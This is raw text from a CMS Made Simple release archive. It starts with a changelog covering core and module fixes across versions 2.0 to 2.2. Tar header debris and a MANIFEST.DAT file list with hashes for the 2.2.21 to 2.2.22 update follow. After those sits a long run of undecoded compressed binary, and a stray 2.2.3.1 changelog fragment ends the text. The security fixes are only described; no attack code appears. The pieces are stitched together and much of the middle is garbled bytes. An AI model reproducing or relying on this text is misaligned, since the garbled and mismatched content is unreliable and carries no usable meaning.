  - Upgrade to an un-modified version of smarty v3.1.31.
  - Move plugins directory to lib/plugins since we now have the assets/plugins directory for custom plugins.  Upgrading should preserve any custom plugins in the /plugins directory.
  - Add new plugins {thumbnail_url}, {file_url} and {cms_filepicker).
  - Add more intelligence to the tableoption handling for DataDictionary::CreateTableSQL.
  - Minor improvements to the asynchronous behaviour of the locking functionality.
  - #11295 - Cannot change the name of a UDT, always creates new UDT.
  - #11080 - Parameter $adding in GetContentBlockFieldInput always FALSE.
  - #11093 - Bad error message in jquery.cmsms_autorefresh.js.
  - #11133 - is_email() fails on domain check.
  - #11235 - munge_string_to_url leaves trailing dashes at the end of munged URL.
  - #11287 - Password reset form's password fields have different lengths.
  - Fix issue with module actions if 'content_en' block name was given on the default content block.
  - Better security when saving content pages.  Most primary fields are cast to their appropriate data type (int, bool, etc).  MenuText, and TitleAttribute can no longer contain html tags like <strong>foo</strong>.
  - Fixes issue with entities in redirecting links
  - The href/page argument to {cms_selflink} is now decoded before resolving to a page id.

Navigator v1.0.5
  - Minor optimizations.
  - Now use pageid in calculations of cacheid.
  - Now output template help to Navigator.

Installation Assistant v1.3
  - Only create dummy index.html files in subdirectories we created.
  - Clear cache after step 9.
  - Upgrade routine now asks for, and tests database credentials.
  - Upgrade routine now rewrites the config.php file (but keeps a backup).
  - Set a few more preferences to reasonable defaults on install. Specifically related to site cleanup and performance.
  - On installation, now insure that tmp/cache and tmp/templates_c directories are empty.
  - Now displays if files are going to be skipped.
  - Adds clear option for development purposes.
  - No longer ask to save database password.
  - On install now create the assets directory structure.
  - On upgrade (for 2.2) now create the assets directory structure and move tmp/configs, tmp/templates, module_custom, admin/custom, etc. within it.
  - When using the expanded installer allow changing the destination directory on step 1.
  - Check for existing files in the installation directory for new installations.
  - Added more notes to aide in diagnosing white screens
  - Modify package .zip files so that extracted files will usually have 644 permission (depends on the unzip routine used).

CmsJobManager
  - New core module to handle queued asynchronous tasks.

Content Manager
  - Minor tweak to bulk delete pages.
  - Minor fix to the active tab when changing a template or design.
  - Now listen to the 'default parent page' user preference.
  - Fix minor XSS problem in the Admin if some loser puts JavaScript into the title field or alias field or menu text field.
  - Now allow filtering pages by owner, editor, template, or design.  Only for Administrators with Modify any page, or Manage all content permissions.
  - Fix problems with auto-refresh being too fast for some operations.
  - Now auto scroll to the first matched page in a find.
  - Additional editors of a page cannot change the content type. Only owners, or users with the Manage all Content permissions.
  - Fix a problem with the call to GetTabElements.

DesignManager
  - Move the designs tab of the main interface into third position.
  - Implement sorting in edit design.
  - Remove option menus (for now) from templates, stylesheets, and designs tab.
  - Modify the template list functionality in edit-design to allow using keyboard control. Space or + to select an item on the left, and right arrow to move.
  - Modify the edit-design functionality to allow clicking on an attached template or stylesheet to edit it.
  - Generic templates now display a usage string.
  - When creating a new template, associate the new template with the default design.
  - Add reset buttons to the filter forms.
  - No longer check for default content block in a template.
  - Adds the ability to export a template to a file within the assets directory, and to import from the assets directory.
  - If a file exists in the assets/templates directory corresponding to a template name, do not allow in-browser editing.
  - Add bulk actions to allow importing and exporting multiple templates.
  - In the template list, if a file exists for a template... display it in the filename column.
  - Adds the ability to export a stylesheet to a file within the assets directory, and to import from the assets directory.
  - If a file exists in the assets/css directory corresponding to a stylesheet name, do not allow in-browser editing.
  - Add bulk actions to allow importing and exporting multiple stylesheets.
  - In the stylesheet list, if a file exists for a stylesheet display it in the filename column.

News v2.51
  - Minor fix to add category.
  - Removes GetNotificationOutput method.
  - Add a task that runs at least every 15 minutes to detect draft articles... create an alert for this.
  - Add an option to never create alerts about draft News articles.
  - Minor optimizations.
  - Adds postdate as parameters in events.
  - now output template help to Navigator.
  - Adds new 'linked file' type field that allows selecting a file using the filepicker.
  - Changes the default summary and detail templates to support the linked_file field type, and uses {thumbnail_url} and {file_url}.

FileManager v1.6.3
  - Move settings to it's own menu item under Site Admin.
  - Fix minor problem with moving a directory.
  - Minor fix to move file functionality.
  - Adds OnFileDeleted event.
  - Adds 'view raw file' icon in each viewable row.
  - Minor formatting changes in file list.
  - Now display clickable path entries for easier navigation.

Search
  - Convert to store all data using the InnoDB engine.
  - Use transactions for the addwords and deletewords stuff for performance.
  - Fix problem with query and record expiry.

AdminSearch v1.0.3
  - Fixes problem with use of 'Use Admin Search' permission.
  - Now searches for matching strings within templates and stylesheets that are stored as files.
  - Now listens to the HasSearchableContent metod when searching content pages.

ModuleManager
  - Now detect if module_custom directories exist and are populated and warn about this before upgrading a module.
  - Minor string changes.
  - Improvements to error handling in the new versions tab.
  - Write a confirmation form for uninstalling a module that displays the UninstallPreMessage or uses a default.
  - Now don't allow disabling / uninstalling myself.
  - Don't hide the upgrades tab when there are no upgrades, but show the number of upgrades in the tab title instead.
  - Now use HTTPS for requests to ModuleRepository.
  - Trigger a hook before exporting a module to XML.

MicroTiny v2.1
  - New version of the tinymce wysiwyg editor.
  - Adds a mailto plugin.
  - Now use the FilePicker module for a filepicker, required rewriting the cmsms_filepicker tinymce plugin.
  - Enable the title attribute on the image plugin.
  - Now uses PUBLIC_CACHE_LOCATION for cache files instead of hardcoding tmp/cache


Version 2.1.6 - Spanish Wells
----------------------------------
Core - General
  - Now attempt to detect if a template name passed into CmsModule::GetTemplateResource() is already a resource string.
  - endswith is now an accepted function in Smarty templates (fixes typo in security policy).
  - Fixes for CmsNlsOperations when using a language detector.
  - Fixes warnings in useroperations.
  - Fixes problem with cms_selflink dir='up' since 2013.
  - Modifies the OneEleven theme to set the meta referrer attribute for security purposes.
  - Modifies the functionality of the CSRF tokens to be more secure (only set the cookie in one location, only set the session variable from the cookie).
  - Increase Admin users list limit.
  - Reduce time limit for daily version check to 3 seconds.
  - cleanValues in Admin log and List Content.
  - Minor fix to the relative_time plugin.
  - Admin menu item URLs can now be built from the remaining members of the object, if not specified.
  - {content_image} and {content_module} now preserve order properly and support the priority attribute.

  - #11198 - Fixes problem with cms_selflink with aliases that starts with a numeric sign.

Content Manager v1.1.4
  - Fix bulk set-non-cachable functionality.
  - Fix a bug wrt content blocks and the adding flag.

Installation Assistant v1.0.4
  - Adds recommended check for ZipArchive.
  - Improves method of determining a temp directory.

ModuleManager v2.0.5
  - Improves functionality if ModuleRepository is not available.

News v2.50.6
  - Minor fix to editing news articles from the Admin interface.


Version 2.1.5 - High Rock
----------------------------------
Core - General
  - Fix fatal error if an extcss stylesheet was placed in the Admin theme.
  - Another minor fix to clearing cached files.
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.
  - Fixes minor notice in user operations.
  - Fixes for namespaced modules.
  - Fixes an issue in CmsLayoutTemplate when creating a template from a type.
  - Fixes an issue where a 404 handler error page would not be rendered correctly if for some reason the route did not specify a page id to load.
  - More fixes to cms_url class.
  - Improve the way page aliases are munged when they are supplied.
  - Improve the error generated when a page alias cannot be generated.
  - Minor fixes to the form_start plugin.
  - Minor fixes to generation of moduleinfo.ini.
  - Fix an error message in the autorefresh JavaScript class.
  - Fix problems that could result in uid=1 becoming inactive, and not a member of other groups when edited by another user.
  - Fix query problem in CmsLayoutStylesheetQuery with Mysql 5.7.

  - #11080 - Parameter $adding in GetContentBlockFieldInput always FALSE.
  - #11093 - Bad error message in jquery.cmsms_autorefresh.js.

Content Manager
  - Improve error handling in Edit Content.
  - Fix a problem with the call to GetTabElements.

Design Manager
  - Fix problem with resetting a template back to factory defaults, or creating a new template from factory defaults.

Module Manager
  - Improve the way modules with dependencies are installed and upgraded. (Got rid of the queue stuff).

AdminSearch
  - Use 'Manage Stylesheets' permission, not 'Modify Stylesheets' when searching stylesheets.

Phar Installer
  - Adds missing 'Manage Stylesheets' permission that would not be created on upgrade from 1.12.



Version 2.1.4 - Freetown
----------------------------------
Core - General
  - Fix to the clear_cached_file() method which should fix problems with module installation.
  - Minor tweak to distributed sample htaccess.txt file.

Phar Installer
  - Fixes issues with respect to hanging on step 7 when suhosin PHP addon was installed.
  - Minor PHP7 Fixes.

Module Manager
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.


Version 2.1.3 - Black Point
----------------------------------
Core - General
  - Security fix to prevent HTTP_HOST attacks. Many thanks to I-TRACING (www.i-tracing.com) for reporting it!!
  - Remove stub .htaccess files from subdirectories.
  - Update the included sample htaccess.txt file for security.
  - Fix for endless loop when calculating a page alias in utf-8 environments.
  - Fix for endless loop when calculating a page alias and a page name/title ended with -
  - Fixes a notice on the login page.
  - Optimize LoadContentFromId() to be typesafe, and use default page, if the id passed in is invalid.
  - Fix error condition if there were no default default design, or default page template.
  - Fix problem with system verification.

  - #10825 - Admin-account settings don't remember startpage if you set one
  - #10874 - When creating a page and the title has specific characters, CMSMS stops responding
  - #10910 - content and content_module order incorrect Admin page
  - #10911 - 'Use Admin Search' permission not being used in 2.1.2
  - #10921 - Content Field to Display in Name Column not used

AdminSearch v1.0.1
  - Minor fix to permissions checks.

Navigator v1.0.3
  - Improved exception handling on install

News v2.50.5
  - Fix error condition if no results were returned.

Installation Assistant v1.0.3.1
  - Tweaks to README files.
  - Improved error handling in some circumstances.
  - Fix some PHP7 issues.

FileManager
  - #10871 - Filemanager moving folder


Version 2.1.2 - Andros Town
----------------------------------
Core - General
- Minor fix to missing language string stuff
- Fixes to home page preferences
- API documentation fixes (minor)
- Fixes for ajax_content (the Ajax routine behind the parent selector in edit content) to handle ordering inconsistencies
- Remove die statement in is_email
- Minor fix to the relative_time modifier
- Upgrade CMSMailer to 6.2.14
- Now do a check for E_ALL in the system info

News v2.50.4
- Now all field definitions can be deleted
- Minor fix to default action if no results were returned...

ModuleManager v2.0.2
- Revamp module dependency calculations when installing a module
- Minor fix for some notices in install and upgrade modules
- Minor typo fixes
- Minor fixes for PHP7

MenuManager  v1.50.2
- make sure that uninstall cleans up properly

MicroTiny v2.0.3
- minor template fix
- fixes for stylesheet overrides


Version 2.1.1 - Nicholls Town
----------------------------------
Core - General
- Fix the template compiler so that content blocks can be placed within sub templates and detected with the {include} tag
- Fix minor problem with checksum verification
- Fix to the cms_cache_handler class
- Minor fix to SetAllPageHierarchies()
- Correct location where session was started in frontend displays
- Fix the default option for {content_image}
- Modify the locker to use a beacon if supported, when unlocking
- Fix missing permissions when a 1.12 site was upgraded (installation assistant)

CMSContentmanager v1.1
- Minor template changes in edit content wrt. locking
- Adds ability to clear content locks (Admins can clear all locks, regular users can only clear their locks)
- Enhancements to the action to bulk set designs to show only page templates by default, but to optionally show more

DesignManager v1.1.1
- Minor template changes in edit content wrt. locking
- Adds ability to clear template and CSS locks (Admins can clear all locks, regular users can only clear their locks)


Version 2.1 - Bahamas
----------------------------------
Core - General
- Minor performance tweaks to sample htaccess.txt
- Minor fix to the ProcessTemplateFromDatabase module API method.
- Improvements and re-factor the way headers are sent wrt caching
- Add a new method to the ModuleOperations class to allow a module to be within a namespace.
- Enhances the Group class.
- Enhancements and fixes to the cms_url class.
- Modified the $mod->smarty reference to be smarter... it is now deprecated.
- Fixes issue with https requests (#10697)
- Modifies The CmsLayoutTemplate class and CmsLayoutTemplateQuery to allow filtering on listable or non listable
  or setting a template as listable (default) or non listable
- Fixes a problem with styling of the login form if tasks must be run AND a module needs upgrading.
- Fixes to the cloning of templates in CmsLayoutTemplate
- Fixes problem with SetAllHierarchyPositions that cleared the entire cache instead of only the necessary part of it.
- Adds the unloadCancel handler to the lockManager jQuery plugin.
- Moves version.php and include.php inside the lib directory so that they are easier to protect from unwanted direct access.
- Fixes to page alias tests when manually entering a page alias.
- Missing language strings are no longer output to Admin log, but to the debug log.
- Requests for modules that are not installed/enabled, or for invalid actions will now result in 404 errors.
- Fixed problem where restricted content editors could implicitly change the page alias.
- Improvements to the system information page, particularly the bbcode output.
- cms_init_editor, form_start, and cms_action_url plugins are no longer cachable.
- Adds the 'adminonly' option to the {content}, {content_image}, and {content_module} tags to allow only members of the 'Admin' group to manipulate the values of that block.
- Add a trivial check to the sitedown message to make sure that it is not empty.
- Minor fixes for PHP 7

MicroTiny v2.0.2
- Now add page hierarchy to autocomplete text when using the linker.
- Now use $smarty->CreateTemplate for clarity when compling the config template
- Now explicitly assign urls so that they do not get caced by smarty.
- Slightly tweak the default HTML content in the example tab.
- Updated tinymce to the latest 4.2.7 version, included the 'paste' plugin, and turned on 'paste_as_text'.
- Added the ability to enable the table plugin, now distribute the table plugin

CMSContentManager v1.0.2
- Fix problem with pagedefault metadata.
- Fixes for handling no listable templates for a design
- More work with locking.  With only one exception all locking and unlocking is initiated via javascript.
- Minor fix to copycontent

DesignManager v1.1
- Adds ability to toggle the listability of a template.
- Fixes problems with lost changes if there is a syntax error in the template.
- More work with locking.  With only one exception all locking and unlocking is initiated via JavaScript.

News v2.50.3
- Fixes minor issue with pagination in News Admin console.
- Fix errors in the default form template.
- Fixed URL to long issues on redirection after adding/editing article.

Search v1.50.2
- Minor PHP7 fixes.

ModuleManager 2.0.1
- Minor fix to which modules could be uninstalled and deactivated.


Version 2.0.1.1 - Adelaide
----------------------------------
Fix to the $this->smarty magic method in the module class to resolve to the action template or the global Smarty.


Version 2.0.1 - Adelaide
----------------------------------
Core - General
- Improved optimization in ContentOperations::SetAllHierarchyPositions.
- Fixed return type of ContentOperations::GetPageIdFromAlias().
- Help for the {cms_html_options} plugin.
- Change the default page template to use {Navigator}.
- Explicitly force $smarty->fetch() to create a new template, and therefore a new scope. Keep track of scopes in a stack.
- Change prototype to CMSModule::DoActionBase to pass in the current template object.
- SITENAME is now assigned as a Smarty global.
  (fixes some variable scope issues)
- Fix problem with changing content types.
- Fix problem with CmsLayoutTemplateQuery wrt the editable option, that generated an SQL error.
  (resolves problems where people have additional editor access to templates, but no other design manager permissions).
- Fix minor JavaScript errors in plugin (error checking).
- Fix problems where If assign was passed to a {content} tag, do not pass it to the module on a mact request.
- Implements the completely forgotten 403 exception stuff and the IsPermitted content method.
- Improve the cmsms_dirtyform jQuery plugin to support the unload handler and an onUnload callback.
- Fixed the jQuery page selector plugin when the current value points to an invalid page,  and fixes for asynchronous Ajax.
- Adds a globally available cms_busy() JavaScript function for the Admin.
- Fix problem with html entitites in email addresses in user settings.
- Fix problem with {content cssname=string} and quotes.
- Changed cmsms plugins to use $smarty->getTemplateVars() instead of $smarty->get_template_vars() because of scope issues.
- Minor fix to {form_start} when not used in a module.
- Improved error handling for cms_stylesheet.  Now will generate a message in the Admin log, and an html comment on error.

CMSContentManager v1.0.1
- Fixes for changing content types.
- Adds a title for some contextual help if a template is not available for a content item.
- Clear any locks if an exception occurred while submitting a content item.
- Improvements to error handling with apply and preview.
- Content list now refreshes every 30 seconds to display up-to-date lock information.

DesignManager v1.0.1
- Clear the type_default flag when copying a template.
- Clear any locks if an exception occurred while submitting a template.
- Clear any locks if an exception occurred while submitting a stylesheet.
- Template and stylesheet lists now refresh every 30 seconds to display up-to-date lock information.
- Fixes for design exporting templates with protocol-less URLs in them.

MenuManager v1.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).

Navigator v1.0.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).
- Minor change to the help ($node->children_exist)

Search v1.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).

News v2.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).
- Fix problem with custom fields not being assigned in fesubmit.
- Fix minor problem with html entities in the detail template parameter.

FileManager v1.5.1
- Fix minor problem with Smarty scope in the drop zone.


Version 2.0 - Australia
----------------------------------
+++ Initial Release +++
MANIFEST.DAT                                                                                        0000666                 00000024271 15046626777 0006342 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       MANIFEST GENERATED: 1755000319
MANIFEST FROM VERSION: 2.2.21
MANIFEST FROM NAME: Sherbrooke
MANIFEST TO VERSION: 2.2.22
MANIFEST TO NAME: Saskatoon
ADDED :: cf9e4f710a6e42ef0e7bf8108e3724c2 :: lib\functions\fs.functions.php
ADDED :: e49f4652534af377a713df3d9dec60cb :: LICENCE
DELETED :: 46aaf69a91703493b666f212a04f2d8d :: doc\COPYING.txt
DELETED :: 5114b40fa2cbb20d1934a9f9f20e295b :: modules\MenuManager\action.breadcrumbs.php
DELETED :: d5e6d1f58a8d1d15f1652c08d534c979 :: modules\MenuManager\action.default.php
DELETED :: 6e8a2a74e8d5b457449d1bd8655fe366 :: modules\MenuManager\action.items.php
DELETED :: 01f32cabd4ae5b4ab5599aeb6806815a :: modules\MenuManager\changelog.inc
DELETED :: 42de5bb878e05e13f7cd671cf098f583 :: modules\MenuManager\CSSMenu.js
DELETED :: f431f4e7bbc5d9e9022f69f25b828b65 :: modules\MenuManager\images\arrow.gif
DELETED :: 446974e0a6e4d953817692bd407e1313 :: modules\MenuManager\images\icon.gif
DELETED :: fc56ddb2bdda1f420478fee93a32569e :: modules\MenuManager\lang\en_US.php
DELETED :: 2772cdd710883f684b9587d5b73a6db9 :: modules\MenuManager\lang\ext\ar_AR.php
DELETED :: 172fef8add1afd77f072f29ee6b38cb3 :: modules\MenuManager\lang\ext\ca_ES.php
DELETED :: 03e62514c224e925971a29cb34aa10e3 :: modules\MenuManager\lang\ext\cs_CZ.php
DELETED :: 8de8fa7be9b13ece8f14bfd3b17fd5bf :: modules\MenuManager\lang\ext\da_DK.php
DELETED :: 5f6cf02ece2670cc6328bd9c2fb9908f :: modules\MenuManager\lang\ext\de_DE.php
DELETED :: 4b80d4026c14bb63ba23ba25c89f3cdd :: modules\MenuManager\lang\ext\el_GR.php
DELETED :: bc674f6be6fea029d79ab9f823986b4f :: modules\MenuManager\lang\ext\en_CY.php
DELETED :: 2c62d777aabae003ea08ff41cd94d8f8 :: modules\MenuManager\lang\ext\es_ES.php
DELETED :: d9924a765f95940a6ab72b1cdab119b6 :: modules\MenuManager\lang\ext\et_EE.php
DELETED :: 3c0a68d0ac7a147060162c49eb173e0a :: modules\MenuManager\lang\ext\fa_FA.php
DELETED :: 3c0a68d0ac7a147060162c49eb173e0a :: modules\MenuManager\lang\ext\fa_IR.php
DELETED :: fe8f269e36c6472f471e8cb74c3e9ea0 :: modules\MenuManager\lang\ext\fi_FI.php
DELETED :: 0d6ece2ec25c8e261e82e82b77e8c3ed :: modules\MenuManager\lang\ext\fr_FR.php
DELETED :: b91537478e0896ce9c4e85b6a3b1c7ff :: modules\MenuManager\lang\ext\hr_HR.php
DELETED :: afa2c227f270ddb63300e107d3514595 :: modules\MenuManager\lang\ext\hu_HU.php
DELETED :: 7bd02be3f935ea2e8ab7ea452f1378aa :: modules\MenuManager\lang\ext\it_IT.php
DELETED :: 8d890c30b12d3182da1c1cbf5dcf6bca :: modules\MenuManager\lang\ext\iw_IL.php
DELETED :: 60f9a7fce02a85dfed5bfe76e9e5f9c7 :: modules\MenuManager\lang\ext\ja_JP.php
DELETED :: e5e6df0b0952f6158b4d57fe9a45d538 :: modules\MenuManager\lang\ext\lt_LT.php
DELETED :: 358a8d492cbb4c4814bc23d857f510d3 :: modules\MenuManager\lang\ext\nb_NO.php
DELETED :: d7de11a0891d43afebf365a48412468b :: modules\MenuManager\lang\ext\nl_NL.php
DELETED :: eb49c9d392a597a66a18a083237936bf :: modules\MenuManager\lang\ext\pl_PL.php
DELETED :: aabdb7999656e0a473c80e7cf157a531 :: modules\MenuManager\lang\ext\pt_BR.php
DELETED :: 3a9cf1aacab15c620dc9a9961e7f5db3 :: modules\MenuManager\lang\ext\pt_PT.php
DELETED :: 0e8b3d229d121622bb2eaefba0af4f45 :: modules\MenuManager\lang\ext\rm_CH.php
DELETED :: 231e3c5aae2b6ce10a98fa9799ff9223 :: modules\MenuManager\lang\ext\ro_RO.php
DELETED :: 756575042c1cd778e940340ea741b419 :: modules\MenuManager\lang\ext\ru_RU.php
DELETED :: 215fbc68f7f813c6ccc1db69149ff42d :: modules\MenuManager\lang\ext\sk_SK.php
DELETED :: 7362765f11aa0b63f1168b0041191351 :: modules\MenuManager\lang\ext\sl_SI.php
DELETED :: 280f5b228806e0577329751fe26607f5 :: modules\MenuManager\lang\ext\sr_YU.php
DELETED :: ec3e58c00b7d8f1c57e94892b273d598 :: modules\MenuManager\lang\ext\sv_SE.php
DELETED :: 6e43ef330d3610921fb93a91e99b67f7 :: modules\MenuManager\lang\ext\tr_TR.php
DELETED :: 33bb15ba8a7e48806af58cc77d493906 :: modules\MenuManager\lang\ext\zh_TW.php
DELETED :: beda145249d4ad77e44d6b7baab9d957 :: modules\MenuManager\MenuManager.module.php
DELETED :: b1acf21d685b8197111e13c32dc2e3a1 :: modules\MenuManager\method.install.php
DELETED :: 203b39fb203c1ca3a1d22ccebfc67551 :: modules\MenuManager\method.uninstall.php
DELETED :: bae758be9354062096adc1555a28e914 :: modules\MenuManager\method.upgrade.php
DELETED :: 0f1792603f17adbce23e62fba3d8d599 :: modules\MenuManager\templates\accessible_cssmenu.tpl
DELETED :: 700191753a7ecbdcff876fbe50485e54 :: modules\MenuManager\templates\accessible_simple_navigation.tpl
DELETED :: 7230cf3ed38961925e45c2fbdc14864c :: modules\MenuManager\templates\breadcrumbs.tpl
DELETED :: 58bb51accfe0bf11a68e92b29a90d2ad :: modules\MenuManager\templates\cssmenu.tpl
DELETED :: 26527ab05f6f6e4937a4aa744bfadce0 :: modules\MenuManager\templates\cssmenu_ulshadow.tpl
DELETED :: 9b6a2c19f497f9908d5042776cce2528 :: modules\MenuManager\templates\dbtpllist.tpl
DELETED :: 6576c0c4adbb79014328f6783639778e :: modules\MenuManager\templates\edittemplate.tpl
DELETED :: 5430fb5de31a58d14f782795442812fe :: modules\MenuManager\templates\filetpllist.tpl
DELETED :: 403ded08fa80e810b05022d426deb0cc :: modules\MenuManager\templates\importtemplate.tpl
DELETED :: 900497f76843e49ed3a03e58a58b5b62 :: modules\MenuManager\templates\minimal_menu.tpl
DELETED :: 4ad796356345d19141716d9aad8efe66 :: modules\MenuManager\templates\Simplex_Navigation.tpl
DELETED :: 912e41993d605d9935000bb170079e1b :: modules\MenuManager\templates\simple_navigation.tpl
CHANGED :: 65d305423b79113d433d3e201225712c :: admin\ajax_content.php
CHANGED :: 7e9c12cca1510875c12602befb553a7a :: admin\editusertag.php
CHANGED :: 6d91ae1bc423bcdae6f43b2827d21f46 :: admin\index.php
CHANGED :: d512bdfc7cceabdd854d10eab09975f6 :: admin\login.php
CHANGED :: 6953e7f33169a9ebadb89d0d4da22d34 :: admin\siteprefs.php
CHANGED :: b8f68e913e59849d0c967afbfd07e83e :: admin\templates\editusertag.tpl
CHANGED :: ca217fca80bd71ea19d4af7cc7f3c0c9 :: admin\themes\OneEleven\templates\login.tpl
CHANGED :: 46cc27936bde0e8c0035f3353611ae70 :: admin\themes\OneEleven\templates\pagetemplate.tpl
CHANGED :: 641254b408db31c2bc3cf2e511c9249e :: doc\CHANGELOG.txt
CHANGED :: db6ceec401663b6c5c3740b2a66409ce :: index.php
CHANGED :: 2b6338ef0060f0124959f92845294e09 :: lib\classes\class.CMSModule.php
CHANGED :: 80619dc81950f4d17ab8ff8e39f72b0f :: lib\classes\class.moduleoperations.inc.php
CHANGED :: df1d331510a2de9158d51fc8bbe53024 :: lib\classes\class.useroperations.inc.php
CHANGED :: 19f1f6e6dd1d3ccaf2f957641fda3442 :: lib\classes\contenttypes\Content.inc.php
CHANGED :: e536af9f589a5bf7ee8b5d700957e884 :: lib\classes\internal\module_support\modform.inc.php
CHANGED :: 0852676e24c9f97263d5c7c8f72c8616 :: lib\functions\misc.functions.php
CHANGED :: 5a3ca70e6096d87628b603499f4d8cbe :: lib\functions\page.functions.php
CHANGED :: 553aa370d1f1a9b2b0ebf6799544c97e :: lib\include.php
CHANGED :: 4c7de836e15a182547a4aead85de71cb :: lib\lang\tags\en_US.php
CHANGED :: 35090fe59c8d834a2efe1c3f72c25e01 :: lib\smarty\Smarty.class.php
CHANGED :: 326f32118637a3b8d9d702fbb0fc1e25 :: lib\smarty\sysplugins\smartycompilerexception.php
CHANGED :: 28be5b1652a998210937b68230780c8b :: lib\smarty\sysplugins\smarty_cacheresource.php
CHANGED :: 6b1b42ef351a92d6909f1b6e803d4e71 :: lib\smarty\sysplugins\smarty_cacheresource_custom.php
CHANGED :: c7d03fe2fdfffd263dc73138cca3ca9d :: lib\smarty\sysplugins\smarty_cacheresource_keyvaluestore.php
CHANGED :: 512e670f9b250d0db31255b50277cb60 :: lib\smarty\sysplugins\smarty_internal_cacheresource_file.php
CHANGED :: 6cc5d57e2ab471f4a5192abbc300f06c :: lib\smarty\sysplugins\smarty_internal_compile_extends.php
CHANGED :: 5fa9067b07fdc90728541054773fd38b :: lib\smarty\sysplugins\smarty_internal_data.php
CHANGED :: 3fb2efd13422754fac5d7b0b79833d37 :: lib\smarty\sysplugins\smarty_internal_method_createdata.php
CHANGED :: a69f1f1e65439db7776f4763457e534b :: lib\smarty\sysplugins\smarty_internal_method_gettemplatevars.php
CHANGED :: d229d9b22913c1f18e1d81569fa3325c :: lib\smarty\sysplugins\smarty_internal_resource_eval.php
CHANGED :: 314979a4c660b868a338ab21ce92318c :: lib\smarty\sysplugins\smarty_internal_resource_extends.php
CHANGED :: a33eb7aebaed73c4bf26985c8fe8a3f3 :: lib\smarty\sysplugins\smarty_internal_resource_file.php
CHANGED :: dab7ccb89895eef1d5ec32b2b95c37f3 :: lib\smarty\sysplugins\smarty_internal_resource_stream.php
CHANGED :: ba1d180f7980d9cb2aa60212e37aeb31 :: lib\smarty\sysplugins\smarty_internal_resource_string.php
CHANGED :: a150da5f260743c52d679fff796b4014 :: lib\smarty\sysplugins\smarty_internal_runtime_codeframe.php
CHANGED :: 9338f7be3dd3fd6e2fe814facf3f5f0f :: lib\smarty\sysplugins\smarty_internal_runtime_inheritance.php
CHANGED :: e83af4b39b5f28a57337bc131992086f :: lib\smarty\sysplugins\smarty_internal_template.php
CHANGED :: c2d988bba508d2f1561f02e19eb97f09 :: lib\smarty\sysplugins\smarty_internal_templatecompilerbase.php
CHANGED :: 56dbb765f9d7f5604f5cad4f95b423b6 :: lib\smarty\sysplugins\smarty_resource.php
CHANGED :: 742a6c4f81e6ba846ecd82f1fdb0521d :: lib\smarty\sysplugins\smarty_resource_custom.php
CHANGED :: c2428ae155e0064a23b6e438c05791bb :: lib\smarty\sysplugins\smarty_template_config.php
CHANGED :: f7b6f90868a012539fce1e23c823e939 :: lib\smarty\sysplugins\smarty_template_source.php
CHANGED :: 0e0b7bdd4d92e2720a0a0862000b3637 :: lib\version.php
CHANGED :: c5c90913db7e239ee5fe16e53e71f0e6 :: modules\CMSContentManager\action.admin_copycontent.php
CHANGED :: dbd6ba4b5018a602486c2fff77013392 :: modules\CMSContentManager\action.admin_editcontent.php
CHANGED :: 04972643f5e438f7cf59217443da4bef :: modules\CMSContentManager\action.defaultadmin.php
CHANGED :: 89ccc13ad92723a5cc1ce89e114f0d2c :: modules\CMSContentManager\CMSContentManager.module.php
CHANGED :: 0aed6ef222ef7631e43b6544208b86b9 :: modules\CMSContentManager\lang\en_US.php
CHANGED :: 5b4afa21fa02913e428aaae85d0eee6b :: modules\CMSContentManager\lib\class.ContentAssistantFactory.php
CHANGED :: 7d7b20c3fe6612c606cd80577b2ecb20 :: modules\CMSContentManager\lib\class.ContentListBuilder.php
CHANGED :: f5dba28a6bbf46073f6ba7c3632f5536 :: modules\FilePicker\action.ajax_cmd.php
CHANGED :: 3348ee3a633ca2f01ab7632bdd52b14f :: modules\FilePicker\FilePicker.module.php
CHANGED :: 5baecc9dc1670cd9adc5591c73e940b3 :: modules\FilePicker\lib\class.UploadHandler.php
CHANGED :: dedc901808b6346b5e04f8d2c8b86862 :: modules\News\lib\class.news_admin_ops.php
CHANGED :: 7ddd5bdf34f3b78e0a96c1c157fedaee :: modules\Search\action.dosearch.php
CHANGED :: cbb81b4b396ce763ee23e1b6e22b0d2e :: modules\Search\Search.module.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Changelog will go here.
     XRK}WP70yUdeeᶵ4 0Zɬ\N˫gg_O޿=^Q_Ώs󗋷G?O^=zyevӟh=:?e߬[8qS5R\.̎gNfz3yǫU7=vd9gI릲۴Q1&jiNDb#{g.V~6}BڙDQRn^ֲ!=Zs5<{wrZ9d\&8T6*<q-Ղe~
#rĞR1j@]flV]1E@Xb$6|d*WFNZBiФ՞ޅJO1lVDv9GZd<LB\pß1Z!'kk0h7UPMܽrn7ĤTLICcGL&1	w8}s5yAmxK""˩>?dg%	O;S#%4AtUZ+KY^edy[<}l+TUYz!<)ͯOd>rgD<IQHp:yrJ=?MtܣZS NS2yĢkL_~SdPh]Ics>T% :T1KΈP9E*6~A;|'ܵ	ԮQ(_ٳQb D1Ss"HY3;N㥊 xpzN0KَC^1N~Q 7%DHgȊ^BoxX3ZlPq]H/X@G]A/@7..#I>oB69TKCwoYq&2ЙI|rZ3f^BYN4`]%VZM81i	USY̐ *ACGj5ˀ͚`FCyNȳMMG# _uAit&Q
{#&o4  h0$|.U$T-'iAV&8xmx>AL#3,_==)&Q'gHRT&
#*7R$+)6_
PP[P>pyHPIl
EZLnyߣo"pک&VCeV(8|sNud%OlB\T8>@%G˕ nbđa؀k\RPi? /@U s)RJuV:4xFUuUh(Iͷ\\$z;603+W ҒQ9A~;IRV 	%fΠb@oc^,F̼'JA<FSaNrM
hoֲz!`B`}g1eLа8} x米GR~
["F,	R!llTo-bjrE*Ō ;xt7RQކ0w%pu`S-ĻHFi|Y*@70,{EVjGi죭LXvM-hX6ڞ5]BBb(dF}I}7ܰ*BT*{ hj+ACs@b7+X %d,|/TQJ	Y*ҖaD=oX(^7k]G얘7'[MI\RF\ompzfyq=\11MBJgMC{Oo2ÃR
 ]{?    Q#F  Version 2.2.3.1 - Happy Adventure
----------------------------------
Core - General
  - Fix an issue when parsing multiple content blocks.
